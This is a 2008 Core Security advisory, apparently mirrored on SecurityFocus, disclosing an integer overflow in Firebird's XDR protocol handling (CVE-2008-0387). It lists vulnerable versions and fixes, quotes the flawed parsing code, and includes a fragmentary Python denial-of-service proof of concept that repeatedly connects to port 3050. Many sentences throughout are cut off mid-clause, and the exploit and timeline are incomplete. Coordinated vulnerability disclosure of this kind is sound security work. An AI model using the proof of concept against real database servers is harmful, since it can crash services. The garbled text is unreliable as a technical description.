CORE-2007-1219: Firebird Remote Memory Corruption Jan 28 2008 05:32PM
Core Security Technologies Advisories (advisories coresecurity com)
Hash: SHA1

Core Security Technologies - CoreLabs Advisory

Firebird Remote Memory Corruption

*Advisory Information*

Title: Firebird Remote Memory Corruption
Advisory ID: CORE-2007-1219
Advisory URL: http://www.coresecurity.com/?action=item&id=2095
Date published: 2008-01-28
Date of last update: 2008-01-24
Vendors contacted: Firebird SQL
Release mode: Coordinated Release

*Vulnerability Information*

Class: Memory corruption
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID: 27403
CVE Name: CVE-2008-0387

*Vulnerability Description*

supporters developing and enhancing a multi-platform relational database
known as Borland Software Corp) on 25 July, 2000.

The Firebird database manager contains an Integer Overflow in the
processing of certain tags on the XDR protocol used for communication
charge of restarting the database server. This may also grant attackers
remote execution of arbitrary code on servers running Firebird.

*Vulnerable packages*

. Firebird SQL 1.0.3 and before.
. Firebird SQL 1.5.5 and before.
. Firebird SQL 2.0.3 and before.
. Firebird SQL 2.1.0 Beta 2 and before.

*Non-vulnerable packages*

. Firebird SQL 1.5.6 (to be released)
. Firebird SQL 2.0.4 (to be released)
. Firebird SQL 2.1.0 RC1

*Vendor Information, Solutions and Workarounds*

Firebird v2.1.0 RC1 fixes this vulnerability and is available for
download at http://firebirdsql.org/index.php?op=files&id=fb210_RC1

2.0.4 will be released in February. The version 1.5.6 release is
expected later this year.



This vulnerability was discovered and researched by Damian Frizza with
assistance of Alfredo Ortega from Core Security Technologies.

*Technical Description / Proof of Concept Code*

receives any of the following operations with invalid data:


The parser fails to properly sanitize certain variables before use. We
assignments directly from the packet buffer to the data structure,
without any validation (The MAP macro doesn't have any range checking):


MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_request));
MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_incarnation));
MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_transaction));
MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_message_number));
return xdr_request(xdrs, data->p_data_request,

request_id) is used to index an array:


Corrupting memory structures and causing a DoS of the server, with
possible execution of code. The same happens with the variable

The following python PoC causes a remote Denial of service and
demonstrates the bug:

##Firebird DoS
##Damian Frizza - Core Security Exploit Writers Team
##tested against Firebird- and

##fbserver.exe 2.0.3
##005637D7 83EC 50 SUB ESP,50
##005637DA 56 PUSH ESI
##005637DB 8BF1 MOV ESI,ECX

import socket
import time

def getTargetIP():
return '192.168.xxx.xxx'

port= 3050
op = '\x4a'


##to restart the service.

for i in range(0, 5):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((getTargetIP(), port))

*Report Timeline*

development team.
v2.1.0 RC1.
fixed versions.


[1] http://sourceforge.net/projects/firebird/
[2] http://www.firebirdsql.org/
[3] http://tracker.firebirdsql.org/browse/CORE-1681

*About Corelabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:

*About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core augments its
leading technology solution with world-class security consulting
services, including penetration testing and software security auditing.
http://www.coresecurity.com .


provided that no fee is charged for this distribution and proper credit
is given.


This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at

Version: GnuPG v1.4.6 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org


[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus